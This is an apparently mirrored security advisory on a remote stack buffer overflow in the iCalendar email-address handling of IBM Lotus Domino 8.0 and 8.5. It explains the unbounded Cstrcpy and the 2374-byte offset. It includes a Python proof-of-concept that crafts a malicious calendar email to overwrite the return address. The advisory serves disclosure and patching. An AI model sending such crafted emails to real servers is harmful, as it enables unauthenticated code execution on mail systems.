116 lines
No EOL
5 KiB
Text
116 lines
No EOL
5 KiB
Text
source: http://labs.mwrinfosecurity.com/advisories/lotus_domino_ical_stack_buffer_overflow/
|
||
|
||
IBM Lotus Domino iCalendar Email Address Stack Buffer Overflow Vulnerability
|
||
|
||
Package Name: Lotus Domino Server
|
||
Date Reported: 2010-01-09
|
||
Affected Versions: Versions 8.0 and 8.5 on AIX, AIX 64bit, Linux, Linux iSeries, Linux
|
||
zSeries, Solaris, Windows, Windows 64bit, z/OS
|
||
CVE Reference Not Yet Assigned
|
||
Author A. Plaskett
|
||
Severity High Risk
|
||
Local/Remote Remote
|
||
Impact The vulnerability would enable an attacker to execute arbitrary code
|
||
on the system in the context of the currently executing nrouter process.
|
||
Vulnerability Class Stack based buffer overflow
|
||
Vendor URL http://www.ibm.com
|
||
Version 8.0, 8.5
|
||
Vendor Response A patch is available from: http://www-
|
||
01.ibm.com/support/docview.wss?rs=475&uid=swg21446515
|
||
|
||
Overview:
|
||
An unauthenticated remote code execution vulnerability was identified in the code
|
||
handling the conversion and checking of an iCalendar email address parameter. An
|
||
overly large email address string can lead to the overflow of a stack allocated buffer
|
||
due to insufficient bounds checking when a CStrcpy (string copy) is performed. A
|
||
remote, unauthenticated attacker could execute code in the context of the Lotus
|
||
Domino server process (nrouter.exe) by sending a specially crafted malicious email
|
||
to the Lotus Domino SMTP server.
|
||
|
||
|
||
Technical Background
|
||
The vulnerability exists due to a lack of bounds checking performed in the function
|
||
“nnotes!MailCheck821Address” before performing a string copy operation (Cstrcpy).
|
||
|
||
.text:602738F7 push esi
|
||
.text:602738F8 push edx
|
||
.text:602738F9 call Cstrcpy
|
||
|
||
The ESI register holds the source address of the copy, which is read from the
|
||
iCalendar email and so is under an attacker’s control. The EDX register holds the
|
||
address of the fixed size stack buffer.
|
||
|
||
Consequently, the Cstrcpy operation can be passed a string which overflows the
|
||
fixed size stack based buffer and causes memory corruption. This memory corruption
|
||
can be used to hijack the flow of execution of the program and execute arbitrary
|
||
code.
|
||
|
||
Exploit Information
|
||
An attacker could exploit this vulnerability by crafting an email containing an
|
||
iCalendar with an email address string which is sufficiently long to overwrite stack
|
||
based variables and also overwrite the saved return address which is stored in the
|
||
stack frame (the required string length being 2374 bytes). The attacker could then
|
||
pass an address which would be used to overwrite the saved return address. When
|
||
the function returns, the return address is popped off the stack and loaded into the
|
||
EIP (Extended Instruction Pointer) register. At this point, the attacker has full control
|
||
over the execution of the program and can execute their desired code.
|
||
|
||
The following proof of concept Python code excerpt can be used to trigger the
|
||
vulnerability with the malicious ORGANIZER mailto address:
|
||
|
||
|
||
ret_address = “BBBB”
|
||
overflow = ("A" * 2374) + ret_address + ("C" * 6632)
|
||
organiser = "ORGANIZER:mailto:H@%s.com" % overflow
|
||
body = "Content-Type: text/calendar; method=COUNTER; charset="UTF-8"
|
||
Subject: sent_mail2.txt
|
||
MIME-Version: 1.0
|
||
Content-Transfer-Encoding: 8bit
|
||
BEGIN:VCALENDAR
|
||
METHOD:COUNTER
|
||
PRODID:-//HGOPO@VDGCOHBCOGHRO@GQHOOPGHHCCCGCBGGCLGMCPN//
|
||
VERSION:2.0
|
||
BEGIN:VEVENT
|
||
UID:KORBOOGGGOHGNIH
|
||
SEQ:2
|
||
RRULE:aaaa
|
||
%s
|
||
ATTENDEE;:Mailto:aaaa@localdomain
|
||
SUMMARY:PGOMG@OMPGR@KOFMEOPNCMH
|
||
DTSTART:20091130T093000Z
|
||
DTEND:20091130T093000Z
|
||
DTSTAMP:20091130T083147Z
|
||
LOCATION:Location
|
||
STATUS:aaaa
|
||
END:VEVENT
|
||
END:VCALENDAR
|
||
“”” % organiser
|
||
|
||
|
||
If this email is delivered to a Lotus Domino SMTP server, nrouter will perform the
|
||
following calls: -
|
||
|
||
0833519c 60ca844c 094dddb8 nnotes!MailCheck821Address+0xb07
|
||
0833519c 00000019 083200f8 nnotes!Note2iCal+0x1c25c
|
||
0000000a 083200f8 094de824 nnotes!iCal2NotesExtract+0x247
|
||
000000c7 06e41f62 083210ac nRouter+0x3ee9e
|
||
00000063 000000c7 06e41f62 nRouter+0x3f1cd
|
||
02a19f58 00000000 000000c7 nRouter+0x1c433
|
||
004673a0 00000000 03f23325 nRouter+0x1ddd0
|
||
004673a0 21700001 00000001 nRouter+0x1e3a5
|
||
029b0000 00000000 00000000 nRouter+0x1e6ed
|
||
00000000 094dffd4 7751b3f5 nnotes!OSProcessIsGUI+0xef
|
||
00000000 7e454e05 00000000 kernel32!BaseThreadInitThunk+0x12
|
||
600fe640 00000000 00000000 ntdll!RtlInitializeExceptionChain+0x63
|
||
600fe640 00000000 00000000 ntdll!RtlInitializeExceptionChain+0x36
|
||
|
||
Leading to the incorrectly bounded Cstrcpy function being called and the return
|
||
address being overwritten with 42424242, which will then be loaded into the EIP
|
||
register. At this point the attacker has full control over the flow of execution of the
|
||
program (nrouter.exe).
|
||
|
||
Dependencies
|
||
In order to exploit this vulnerability an attacker would need to know the email
|
||
address of a valid Lotus Domino mailbox account. It should be noted, however, that
|
||
no user interaction is required for the vulnerability to be triggered (nrouter will
|
||
process the email automatically). |